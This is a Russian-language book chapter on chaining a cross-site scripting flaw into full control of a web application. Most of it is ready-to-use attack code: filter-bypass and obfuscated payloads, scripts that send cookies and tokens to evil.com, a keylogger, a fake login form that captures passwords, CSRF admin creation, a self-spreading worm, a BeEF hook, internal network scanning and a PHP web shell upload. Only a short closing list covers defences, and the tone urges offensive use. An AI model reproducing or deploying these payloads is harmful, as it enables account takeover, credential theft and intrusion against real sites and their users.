Книга: «Все об уязвимости XSS». Глава 3: Как работает XSS — Анатомия атаки 🔬 Цепочка эксплуатации: от инпута до полного контроля
XSS — это не просто про `alert(1)` и скриншот для bug bounty отчёта. Настоящий хардкор начинается тогда, когда ты понимаешь, что найденная уязвимость — это всего лишь первое звено в длинной цепи, которая приведёт тебя к полному контролю над приложением, пользователями и, возможно, всей инфраструктурой. Давай разберём пошагово, как превратить простую инъекцию в тотальное доминирование.
Этап 0: Понимание целевой системы
Прежде чем тупо слать payload’ы, нужно разобраться в архитектуре цели. Это не просто сайт — это экосистема:
• Клиентская часть: React/Vue/Angular или ванильный JS? SPA или классический MPA? Какие библиотеки используются?
• Аутентификация: JWT в localStorage? Session cookies? OAuth токены?
• API структура: REST? GraphQL? Какие эндпоинты доступны?
• Роли и права: Есть ли разделение user/admin/moderator?
• Внутренние системы: Админки, CRM, тикет-системы, аналитика
Чем больше инфы собрал на разведке — тем точнее будет твоя атака. Используй DevTools, изучай исходники JS, перехватывай запросы через Burp, смотри на структуру API.
Этап 1: Разведка и картирование точек входа
Первый шаг — найти все возможные места, куда можно запихнуть свой код. Твой чеклист:
Публичные формы:
• Комментарии, отзывы, чаты
• Поля профиля (имя, bio, статус, аватар)
• Поисковые запросы
• Формы обратной связи
Скрытые входы:
• HTTP заголовки (User-Agent, Referer, X-Forwarded-For)
• URL параметры (особенно в SPA — hash, query params)
• Cookie values
• localStorage/sessionStorage manipulation
• window.name, postMessage handlers
Бэкенд-ориентированные:
• Системы тикетов и багтрекеры
• Email templates (часто рендерятся в веб-интерфейсах)
• Логи и аналитика (если отображаются через веб)
• Экспорты данных (CSV, PDF с HTML контентом)
Лайфхак: Создай простой скрипт-фаззер, который будет автоматически отправлять тестовые payload’ы во все найденные поля. Используй уникальные маркеры (например, `xss_test_field_profile_name_12345`), чтобы понять, где именно сработал payload.
Этап 2: Крафтинг и доставка payload
Нашёл точку входа — теперь нужно доставить туда свой код. Но это не всегда просто из-за фильтров.
Базовые payload’ы для тестирования контекста:
// HTML контекст
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
// Attribute контекст
" onmouseover="alert('XSS')
' autofocus onfocus='alert('XSS')
// JavaScript контекст
';alert('XSS');//
'-alert('XSS')-'
// URL контекст
javascript:alert('XSS')
text/html,<script>alert('XSS')</script>
Обход фильтров — твои основные приёмы:
// Case manipulation
<ScRiPt>alert(1)</sCrIpT>
// Encoding
<img src=x onerror="alert(1)">
<img src=x onerror="\u0061lert(1)">
// Tag breaking
<scr<script>ipt>alert(1)</scr</script>ipt>
// Null byte
<scri%00pt>alert(1)</scri%00pt>
// Comment breaking
<!--<script>alert(1)//--></script>
// Polyglot (работает в разных контекстах)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Для продвинутых — обфусцированный payload:
<svg/onload="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))">
// Base64 для alert(document.cookie)
<img src=x onerror="Function('ale'+'rt(1)')()">
<iframe src="javascript:eval('\x61\x6c\x65\x72\x74\x28\x31\x29')">Этап 3: Срабатывание и установление контакта
Payload доставлен, теперь ждём срабатывания. Но как узнать, что он вообще сработал?
Для Reflected/DOM-based XSS — видишь сразу в своём браузере.
Для Stored/Blind XSS — нужна обратная связь. Вот тут начинается настоящая работа:
// Простейший callback
<script>
new Image().src='https://your-server.com/xss?victim='+document.cookie;
</script>
// Более продвинутый сбор данных
<script>
fetch('https://your-server.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: location.href,
dom: document.documentElement.outerHTML,
storage: localStorage,
session: sessionStorage
})
});
</script>
// XSSHunter-style payload
<script src="https://your-xss-hunter.com/your-token"></script>
Профессиональный подход: Разверни свой сервер для приёма callback’ов. Простой Express.js или даже Flask достаточно:
// server.js (Node.js)
const express = require('express');
const app = express();
app.get('/xss', (req, res) => {
console.log('[XSS HIT]', {
time: new Date(),
cookie: req.query.victim,
ip: req.ip,
headers: req.headers
});
res.send('OK');
});
app.listen(8080);
Этап 4: Первичный захват — кража credential’ов
Как только установили контакт, начинаем качать данные:
Кража cookies и токенов:
<script>
// Cookies (если нет HTTPOnly)
fetch('https://evil.com/steal?c='+document.cookie);
// LocalStorage tokens (JWT, auth tokens)
fetch('https://evil.com/steal?ls='+JSON.stringify(localStorage));
// SessionStorage
fetch('https://evil.com/steal?ss='+JSON.stringify(sessionStorage));
// Все сразу
fetch('https://evil.com/dump', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: Object.assign({}, localStorage),
sessionStorage: Object.assign({}, sessionStorage),
url: location.href,
referrer: document.referrer
})
});
</script>
Кейлоггинг — собираем всё, что печатает жертва:
<script>
let keylog = '';
document.addEventListener('keydown', e => {
keylog += e.key;
if(keylog.length > 50) {
fetch('https://evil.com/keys', {
method: 'POST',
body: keylog
});
keylog = '';
}
});
</script>
Фишинг на месте — подменяем форму логина:
<script>
document.body.innerHTML = `
<div style="max-width:400px;margin:100px auto;font-family:Arial">
<h2>Ваша сессия истекла</h2>
<p>Пожалуйста, войдите снова для продолжения работы</p>
<form id="fake">
<input name="email" placeholder="Email" required style="width:100%;padding:10px;margin:5px 0"><br>
<input type="password" name="pass" placeholder="Пароль" required style="width:100%;padding:10px;margin:5px 0"><br>
<button style="width:100%;padding:10px;background:#0066cc;color:white;border:none;cursor:pointer">Войти</button>
</form>
</div>
`;
document.getElementById('fake').onsubmit = function(e) {
e.preventDefault();
fetch('https://evil.com/phish', {
method: 'POST',
body: JSON.stringify({
email: this.email.value,
pass: this.pass.value,
site: location.hostname
})
}).then(() => {
alert('Неверные учётные данные. Попробуйте снова.');
});
};
</script>
Этап 5: Эскалация привилегий
Теперь, когда у тебя есть базовый доступ, нужно найти админа или пользователя с расширенными правами.
Тактика 1: Blind XSS в админ-панели
Отправь payload в места, которые видят только админы:
• Тикеты поддержки (админ открывает заявки)
• Багрепорты (модераторы проверяют отчёты)
• Логи и аналитика (если есть веб-интерфейс)
// Специальный payload для определения прав
<script>
fetch('https://evil.com/victim-info', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookies: document.cookie,
isAdmin: document.body.innerText.includes('Admin Panel'),
dom: document.body.innerHTML.substring(0, 1000)
})
});
</script>
Тактика 2: CSRF через XSS для повышения прав
Если нашёл функционал создания пользователей или изменения прав:
<script>
// Создаём нового админа
fetch('/admin/users/create', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: 'hacker',
password: 'P@ssw0rd123',
role: 'admin'
})
});
// Или меняем свой аккаунт на admin
fetch('/api/users/me', {
method: 'PATCH',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({role: 'admin'})
});
</script>
Этап 6: Lateral Movement — распространение и закрепление
Получил админа? Отлично. Теперь закрепляемся и распространяемся:
Worm — самораспространяющийся XSS:
<script>
// Читаем текущий payload
const payload = '<script src="https://evil.com/worm.js"></scr'+'ipt>';
// Ищем все формы для комментариев/постов
document.querySelectorAll('form').forEach(form => {
const textarea = form.querySelector('textarea');
if(textarea) {
textarea.value = payload;
form.submit();
}
});
</script>
BeEF — превращаем браузер в зомби:
<script src="https://your-beef-server.com/hook.js"></script>
Теперь через BeEF можешь:
• Сканировать внутреннюю сеть жертвы
• Делать скриншоты
• Красть данные форм
• Использовать браузер как прокси
• Запускать эксплойты
Persistence — постоянное присутствие:
<script>
// Регистрируем Service Worker для постоянства
if('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js').catch(()=>{});
}
// Или через localStorage
if(!localStorage.getItem('infected')) {
localStorage.setItem('infected', 'true');
// Reinfect при каждой загрузке
window.addEventListener('load', () => {
document.body.appendChild(document.createElement('script')).src='https://evil.com/persist.js';
});
}
</script>
Этап 7: Полный контроль — от браузера к серверу
Финальный босс — выход за пределы браузера:
SSRF через XSS:
<script>
// Сканируем внутреннюю сеть
for(let i=1; i<255; i++) {
fetch(`http://192.168.1.${i}`)
.then(() => fetch(`https://evil.com/found?ip=192.168.1.${i}`))
.catch(()=>{});
}
// Атакуем внутренние сервисы
fetch('http://localhost:8080/admin/exec?cmd=whoami', {
credentials: 'include'
}).then(r => r.text()).then(data => {
fetch('https://evil.com/ssrf-result', {
method: 'POST',
body: data
});
});
</script>
Цепочка к RCE:
Если приложение имеет функционал загрузки файлов, экспорта, или выполнения команд:
<script>
// Загружаем shell через API
fetch('/api/upload', {
method: 'POST',
credentials: 'include',
body: new FormData().append('file', new Blob(['<?php system($_GET["c"]); ?>'], {type: 'application/x-php'}), 'shell.php')
}).then(() => {
// Сообщаем о местоположении shell
fetch('https://evil.com/shell-uploaded?path=/uploads/shell.php');
});
</script>
Реальная цепочка атаки — Case Study
Сценарий: Корпоративный портал с тикет-системой
1. Разведка: Нашли форму создания тикета без фильтрации в поле “описание проблемы”
2. Инъекция: Отправили Blind XSS payload в описание
3. Срабатывание: Саппорт открыл тикет через админ-панель — payload сработал
4. Захват: Украли admin cookie и JWT токен из localStorage
5. Эскалация: Залогинились под админом, получили доступ к внутреннему API
6. Lateral Movement: Через API создали нового суперадмина
7. Persistence: Внедрили backdoor в JS-файлы через функцию редактирования шаблонов
8. Full Control: Получили доступ к базе данных через SQL-выполнение в админке
Время от обнаружения до RCE: 2 часа.
Защита на каждом этапе
Чтобы разорвать цепочку, защита должна быть на всех уровнях:
• Input validation: Фильтруй и валидируй всё на входе
• Output encoding: Экранируй всё на выходе (контекстно!)
• CSP: Запрети inline scripts и ограничь источники
• HTTPOnly cookies: Защити сессии от кражи через JS
• CORS правильно: Не давай выполнять запросы куда попало
• Rate limiting: Ограничь массовые атаки
• Security headers: X-XSS-Protection, X-Frame-Options, etc.
• Регулярный аудит: Проверяй код на уязвимости
Итого
Цепочка эксплуатации XSS — это путь от простой инъекции до тотального контроля. Каждый этап требует своих навыков, инструментов и креативности. Настоящий хардкор — это не просто найти XSS, а выжать из него максимум: украсть данные, захватить аккаунты, проникнуть в инфраструктуру, закрепиться и распространиться.
Запомни: XSS — это не конечная точка, это точка входа. То, как далеко ты зайдёшь, зависит только от твоих скиллов, фантазии и готовности идти до конца. Удачной охоты!
